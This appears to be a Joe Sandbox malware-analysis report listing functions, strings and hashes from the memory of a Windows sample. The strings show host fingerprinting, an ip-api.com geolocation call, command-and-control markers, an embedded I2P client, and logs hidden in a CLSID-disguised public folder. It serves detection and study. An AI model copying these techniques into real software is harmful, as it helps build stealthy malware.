[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d), xrefs: 00007FF6BE039911
[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d), xrefs: 00007FF6BE039842
9e146be9-c76a-4720-bcdb-53011b87bd06, xrefs: 00007FF6BE03960A, 00007FF6BE0396DE
[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx), xrefs: 00007FF6BE0397AC
C:\Windows, xrefs: 00007FF6BE0394E1, 00007FF6BE0395CE
[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu), xrefs: 00007FF6BE0396B5
MachineGuid, xrefs: 00007FF6BE039611
[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s), xrefs: 00007FF6BE0396F3
service, xrefs: 00007FF6BE0393F3
RtlGetVersion, xrefs: 00007FF6BE039410
\, xrefs: 00007FF6BE03964E
[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu), xrefs: 00007FF6BE039508
[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s), xrefs: 00007FF6BE0395E3
SOFTWARE\Microsoft\Cryptography, xrefs: 00007FF6BE039618
ntdll.dll, xrefs: 00007FF6BE0393F8

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Library$AddressDirectoryErrorFreeInfoLastLoadNativeProcSystemWindows
String ID: %$9e146be9-c76a-4720-bcdb-53011b87bd06$:$C:\Windows$MachineGuid$RtlGetVersion$SOFTWARE\Microsoft\Cryptography$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> GetVolumeInformationA failed(vol=%s,gle=%lu)$[E] (%s) -> GetWindowsDirectoryA failed(gle=%lu)$[E] (%s) -> RtlGetVersion failed(res=%08lx)$[E] (%s) -> strtol failed(sys_mach_guid=%s,errno=%d)$[I] (%s) -> Done(sys_uid=%016llx,sys_os_ver=%lu.%lu.%lu.%d.%d)$[I] (%s) -> GetVolumeInformationA done(vol=%s,vol_sn=%08lx)$[I] (%s) -> GetWindowsDirectoryA done(sys_mach_guid=%s)$[I] (%s) -> GetWindowsDirectoryA done(sys_win_dir=%s)$\$ntdll.dll$service$sys_init
API String ID: 3828489143-3798070276
Opcode ID: e1b7c46f77d045b6d29ba8d43c4d9af711e08a04f013bfcd733600930ec2894c
Instruction ID: 3ea174c2af83ddeba95a1d1f9281e7789a84695f8ff532ed2032cc74ce040f67
Opcode Fuzzy Hash: e1b7c46f77d045b6d29ba8d43c4d9af711e08a04f013bfcd733600930ec2894c
Instruction Fuzzy Hash: A6D14B22E0C65391FA709B5CE540BB97270EBB8755F950033FB4ED76A8DE2DE8648381

Function 00007FF8BFB8330E Relevance: 39.4, APIs: 7, Strings: 19, Instructions: 381
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-VRSCNC-, xrefs: 00007FF8BFB83919
/line?fields=query, xrefs: 00007FF8BFB83651
-ILCCNC-, xrefs: 00007FF8BFB8345F
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BFB839FB
TGER, xrefs: 00007FF8BFB83454
TPCR, xrefs: 00007FF8BFB833A6
last-patch, xrefs: 00007FF8BFB83580
AKAK, xrefs: 00007FF8BFB8339F
curl/8.4.0, xrefs: 00007FF8BFB83665
--TSCB--, xrefs: 00007FF8BFB83929
KCIT, xrefs: 00007FF8BFB8333A
h, xrefs: 00007FF8BFB83449
mem_alloc, xrefs: 00007FF8BFB839F4
, xrefs: 00007FF8BFB838A4
-ILCCNC-, xrefs: 00007FF8BFB83320
ip-api.com, xrefs: 00007FF8BFB8365E
-ILCCNC-, xrefs: 00007FF8BFB838BA
referrer, xrefs: 00007FF8BFB835B2
AKAK, xrefs: 00007FF8BFB838AF

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID:
String ID: $--TSCB--$-ILCCNC-$-ILCCNC-$-ILCCNC-$-VRSCNC-$/line?fields=query$AKAK$AKAK$KCIT$TGER$TPCR$[E] (%s) -> Memory allocation failed(size=%llu)$curl/8.4.0$h$ip-api.com$last-patch$mem_alloc$referrer
API String ID: 0-3139374006
Opcode ID: a59f30150775796cf729d42dacd5df686f13eafd5d338df122460e0b1b621434
Instruction ID: fad7b1b2de246126d52592ebaaa2794690377ae170ecaacc6295d77309f1d893
Opcode Fuzzy Hash: a59f30150775796cf729d42dacd5df686f13eafd5d338df122460e0b1b621434
Instruction Fuzzy Hash: 3F124C72A0C68286EB608B9DE4803B9B7A0EB887D4F544235DB9D477E6DF7CE554CB00

Function 00007FF8BFB88760 Relevance: 37.7, APIs: 9, Strings: 16, Instructions: 167
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8BFB844A4: LoadLibraryA.KERNEL32 ref: 00007FF8BFB844B2

Part of subcall function 00007FF8BFB84170: GetModuleHandleExA.KERNEL32 ref: 00007FF8BFB8418E

strlen.MSVCRT ref: 00007FF8BFB888B8
strlen.MSVCRT ref: 00007FF8BFB888D4
strcat.MSVCRT ref: 00007FF8BFB888F0
strlen.MSVCRT ref: 00007FF8BFB888F8
strcat.MSVCRT ref: 00007FF8BFB8891F
strlen.MSVCRT ref: 00007FF8BFB88927
strcat.MSVCRT ref: 00007FF8BFB88945
strlen.MSVCRT ref: 00007FF8BFB8894D
strlen.MSVCRT ref: 00007FF8BFB88967

Strings

--conf=, xrefs: 00007FF8BFB8876A
--datadi, xrefs: 00007FF8BFB887A4
.file=, xrefs: 00007FF8BFB887E3
i2p.conf, xrefs: 00007FF8BFB88900
C_InitI2P, xrefs: 00007FF8BFB889D8
--reseed, xrefs: 00007FF8BFB887D9
[I] (%s) -> %s, xrefs: 00007FF8BFB88A3C
i2p.su3, xrefs: 00007FF8BFB88952
libi2p.dll, xrefs: 00007FF8BFB88852
i2p, xrefs: 00007FF8BFB8892C
C_StartI2P, xrefs: 00007FF8BFB889F7
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB88A62
i2p.su3, xrefs: 00007FF8BFB88989
i2p, xrefs: 00007FF8BFB88A1E
Done, xrefs: 00007FF8BFB88A2E
i2p_init, xrefs: 00007FF8BFB88A35, 00007FF8BFB88A5B

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: strlen$strcat$HandleLibraryLoadModule
String ID: --conf=$--datadi$--reseed$.file=$C_InitI2P$C_StartI2P$Done$[E] (%s) -> Failed(err=%08x)$[I] (%s) -> %s$i2p$i2p$i2p.conf$i2p.su3$i2p.su3$i2p_init$libi2p.dll
API String ID: 1893813203-492052463
Opcode ID: ca066c6045d2f2a4322d3373cf1fe784a61079aaa6ce0be1ffd8e7fa4d20b0cc
Instruction ID: 105556b51660528c26000f71e2e3f01d013de8393248e407d63bcaaaab8658c6
Opcode Fuzzy Hash: ca066c6045d2f2a4322d3373cf1fe784a61079aaa6ce0be1ffd8e7fa4d20b0cc
Instruction Fuzzy Hash: 3B719C31A1DB8392EB219B99E4803FA6395EB887C0F845131DB4D4BB9AEF3CD905C740

Function 00007FF8BA4F143C Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BA4F145C
GetLastError.KERNEL32 ref: 00007FF8BA4F1590

Part of subcall function 00007FF8BA4F9CC0: GetModuleHandleExA.KERNEL32 ref: 00007FF8BA4F9CDE

strlen.MSVCRT ref: 00007FF8BA4F14AE
strlen.MSVCRT ref: 00007FF8BA4F14CA
strcat.MSVCRT ref: 00007FF8BA4F14E5
strlen.MSVCRT ref: 00007FF8BA4F14ED
strlen.MSVCRT ref: 00007FF8BA4F1502
fopen.MSVCRT ref: 00007FF8BA4F1528

Strings

Done, xrefs: 00007FF8BA4F16CD
P, xrefs: 00007FF8BA4F161A
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF8BA4F15A2
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BA4F157A
debug_init, xrefs: 00007FF8BA4F154E, 00007FF8BA4F1573, 00007FF8BA4F159B, 00007FF8BA4F1660, 00007FF8BA4F16D4
log, xrefs: 00007FF8BA4F1517
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF8BA4F1667
[I] (%s) -> %s, xrefs: 00007FF8BA4F16DB
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log, xrefs: 00007FF8BA4F148E, 00007FF8BA4F14A4, 00007FF8BA4F14DB, 00007FF8BA4F14F8, 00007FF8BA4F1547
~, xrefs: 00007FF8BA4F1615
, xrefs: 00007FF8BA4F15AE
prgmgr.l, xrefs: 00007FF8BA4F150A
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF8BA4F1555

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$log$prgmgr.l$~
API String ID: 3395718042-2735303109
Opcode ID: b880186cb09fe9418d3488624d1c28ca1e4f32ba72a4e66950c71ccbecef1740
Instruction ID: 4141a8b117307352745542c9f8566db3858b8bd28fdb28b8d112f7862ef636b9
Opcode Fuzzy Hash: b880186cb09fe9418d3488624d1c28ca1e4f32ba72a4e66950c71ccbecef1740
Instruction Fuzzy Hash: 6D513F60E0C643C6FB20979DACE13B92254AF477D4F9460B7DF0E066A2DE6EAA45C341

Function 00007FF8B915143C Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8B915145C
GetLastError.KERNEL32 ref: 00007FF8B9151590

Part of subcall function 00007FF8B915CC60: GetModuleHandleExA.KERNEL32 ref: 00007FF8B915CC7E

strlen.MSVCRT ref: 00007FF8B91514AE
strlen.MSVCRT ref: 00007FF8B91514CA
strcat.MSVCRT ref: 00007FF8B91514E5
strlen.MSVCRT ref: 00007FF8B91514ED
strlen.MSVCRT ref: 00007FF8B9151502
fopen.MSVCRT ref: 00007FF8B9151528

Strings

[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B915157A
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log, xrefs: 00007FF8B915148E, 00007FF8B91514A4, 00007FF8B91514DB, 00007FF8B91514F8, 00007FF8B9151547
, xrefs: 00007FF8B91515AE
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF8B9151555
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF8B91515A2
~, xrefs: 00007FF8B9151615
[I] (%s) -> %s, xrefs: 00007FF8B91516DB
log, xrefs: 00007FF8B9151517
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF8B9151667
samctl.l, xrefs: 00007FF8B915150A
Done, xrefs: 00007FF8B91516CD
P, xrefs: 00007FF8B915161A
debug_init, xrefs: 00007FF8B915154E, 00007FF8B9151573, 00007FF8B915159B, 00007FF8B9151660, 00007FF8B91516D4

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$log$samctl.l$~
API String ID: 3395718042-1297835036
Opcode ID: 1150151ec345bf13c3b31c0e9be5a53ea1ef8a6f05555bc19399344b667da666
Instruction ID: e442ea59e8dc304b59acd59e54db474d07a9e0df6202cd59620257942e7cc784
Opcode Fuzzy Hash: 1150151ec345bf13c3b31c0e9be5a53ea1ef8a6f05555bc19399344b667da666
Instruction Fuzzy Hash: 10517050E1C7D385FA229F0DB8A03B81255AF467C4F958432DB0E5A6D2DEACF946F341

Function 00007FF8B918143C Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8B918145C
GetLastError.KERNEL32 ref: 00007FF8B9181590

Part of subcall function 00007FF8B9181770: GetModuleHandleExA.KERNEL32 ref: 00007FF8B918178E

strlen.MSVCRT ref: 00007FF8B91814AE
strlen.MSVCRT ref: 00007FF8B91814CA
strcat.MSVCRT ref: 00007FF8B91814E5
strlen.MSVCRT ref: 00007FF8B91814ED
strlen.MSVCRT ref: 00007FF8B9181502
fopen.MSVCRT ref: 00007FF8B9181528

Strings

[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF8B9181555
~, xrefs: 00007FF8B9181615
, xrefs: 00007FF8B91815AE
[I] (%s) -> %s, xrefs: 00007FF8B91816DB
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF8B91815A2
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF8B9181667
P, xrefs: 00007FF8B918161A
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B918157A
debug_init, xrefs: 00007FF8B918154E, 00007FF8B9181573, 00007FF8B918159B, 00007FF8B9181660, 00007FF8B91816D4
log, xrefs: 00007FF8B9181517
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log, xrefs: 00007FF8B918148E, 00007FF8B91814A4, 00007FF8B91814DB, 00007FF8B91814F8, 00007FF8B9181547
rdpctl.l, xrefs: 00007FF8B918150A
Done, xrefs: 00007FF8B91816CD

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$log$rdpctl.l$~
API String ID: 3395718042-1794035234
Opcode ID: 8b2556d2579fb226d3b412aa444ad6ae0953bae4d5ef3f896a350effe941be9c
Instruction ID: ace710477b1c52a3946b0cc539d886116048bd28471fdfb5dc040c43a8f0adef
Opcode Fuzzy Hash: 8b2556d2579fb226d3b412aa444ad6ae0953bae4d5ef3f896a350effe941be9c
Instruction Fuzzy Hash: 5A516092E0C7C381FA609F5DA8C03B91355AF067D4F9A8432DB4E06297DE6DA946F341

Function 00007FF8BFB5317C Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BFB5319C
GetLastError.KERNEL32 ref: 00007FF8BFB532D0

Part of subcall function 00007FF8BFB51E40: GetModuleHandleExA.KERNEL32 ref: 00007FF8BFB51E5E

strlen.MSVCRT ref: 00007FF8BFB531EE
strlen.MSVCRT ref: 00007FF8BFB5320A
strcat.MSVCRT ref: 00007FF8BFB53225
strlen.MSVCRT ref: 00007FF8BFB5322D
strlen.MSVCRT ref: 00007FF8BFB53242
fopen.MSVCRT ref: 00007FF8BFB53268

Strings

dwlmgr.l, xrefs: 00007FF8BFB5324A
log, xrefs: 00007FF8BFB53257
~, xrefs: 00007FF8BFB53355
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF8BFB533A7
debug_init, xrefs: 00007FF8BFB5328E, 00007FF8BFB532B3, 00007FF8BFB532DB, 00007FF8BFB533A0, 00007FF8BFB53414
Done, xrefs: 00007FF8BFB5340D
, xrefs: 00007FF8BFB532EE
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log, xrefs: 00007FF8BFB531CE, 00007FF8BFB531E4, 00007FF8BFB5321B, 00007FF8BFB53238, 00007FF8BFB53287
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB532BA
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF8BFB532E2
[I] (%s) -> %s, xrefs: 00007FF8BFB5341B
P, xrefs: 00007FF8BFB5335A
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF8BFB53295

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$dwlmgr.l$log$~
API String ID: 3395718042-2859552336
Opcode ID: 27ea5ecb8930a5d572a67ee6d818b6b1525ff907abdc708875468967654232a4
Instruction ID: 2bdc8611c17d197b602f3bddae61beebac0a91e13cdcc8640771f7311e5a3bda
Opcode Fuzzy Hash: 27ea5ecb8930a5d572a67ee6d818b6b1525ff907abdc708875468967654232a4
Instruction Fuzzy Hash: FE514012E1C707A2FA206BDDA8A43BC7352AF557C4F584032CB0D46BA2DEADB956C341

Function 00007FF8BFB3A3AC Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BFB3A3CC
GetLastError.KERNEL32 ref: 00007FF8BFB3A500

Part of subcall function 00007FF8BFB37140: GetModuleHandleExA.KERNEL32 ref: 00007FF8BFB3715E

strlen.MSVCRT ref: 00007FF8BFB3A41E
strlen.MSVCRT ref: 00007FF8BFB3A43A
strcat.MSVCRT ref: 00007FF8BFB3A455
strlen.MSVCRT ref: 00007FF8BFB3A45D
strlen.MSVCRT ref: 00007FF8BFB3A472
fopen.MSVCRT ref: 00007FF8BFB3A498

Strings

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log, xrefs: 00007FF8BFB3A3FE, 00007FF8BFB3A414, 00007FF8BFB3A44B, 00007FF8BFB3A468, 00007FF8BFB3A4B7
, xrefs: 00007FF8BFB3A51E
log, xrefs: 00007FF8BFB3A487
debug_init, xrefs: 00007FF8BFB3A4BE, 00007FF8BFB3A4E3, 00007FF8BFB3A50B, 00007FF8BFB3A5D0, 00007FF8BFB3A644
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF8BFB3A512
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF8BFB3A5D7
Done, xrefs: 00007FF8BFB3A63D
~, xrefs: 00007FF8BFB3A585
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB3A4EA
evtsrv.l, xrefs: 00007FF8BFB3A47A
[I] (%s) -> %s, xrefs: 00007FF8BFB3A64B
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF8BFB3A4C5
P, xrefs: 00007FF8BFB3A58A

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$evtsrv.l$log$~
API String ID: 3395718042-190452282
Opcode ID: 812d47fff8b64de28eadb4b284417ff33b11a0d1b38bd8777733dc5e58d56bcb
Instruction ID: 2d20f89f9e0c9e8fa2aff76184fdd8466a244c1ee7e036864113a558b75bd565
Opcode Fuzzy Hash: 812d47fff8b64de28eadb4b284417ff33b11a0d1b38bd8777733dc5e58d56bcb
Instruction Fuzzy Hash: 9B517E55ECC60381FA24ABDCE9943B8A358AF057C4FA14132CB0E476A3DE6DF94AD301

Function 00007FF8BFB8143C Relevance: 36.9, APIs: 8, Strings: 13, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8BFB8145C
GetLastError.KERNEL32 ref: 00007FF8BFB81590

Part of subcall function 00007FF8BFB84170: GetModuleHandleExA.KERNEL32 ref: 00007FF8BFB8418E

strlen.MSVCRT ref: 00007FF8BFB814AE
strlen.MSVCRT ref: 00007FF8BFB814CA
strcat.MSVCRT ref: 00007FF8BFB814E5
strlen.MSVCRT ref: 00007FF8BFB814ED
strlen.MSVCRT ref: 00007FF8BFB81502
fopen.MSVCRT ref: 00007FF8BFB81528

Strings

Done, xrefs: 00007FF8BFB816CD
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF8BFB81555
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF8BFB81667
, xrefs: 00007FF8BFB815AE
cnccli.l, xrefs: 00007FF8BFB8150A
P, xrefs: 00007FF8BFB8161A
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log, xrefs: 00007FF8BFB8148E, 00007FF8BFB814A4, 00007FF8BFB814DB, 00007FF8BFB814F8, 00007FF8BFB81547
[I] (%s) -> %s, xrefs: 00007FF8BFB816DB
log, xrefs: 00007FF8BFB81517
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB8157A
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF8BFB815A2
debug_init, xrefs: 00007FF8BFB8154E, 00007FF8BFB81573, 00007FF8BFB8159B, 00007FF8BFB81660, 00007FF8BFB816D4
~, xrefs: 00007FF8BFB81615

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
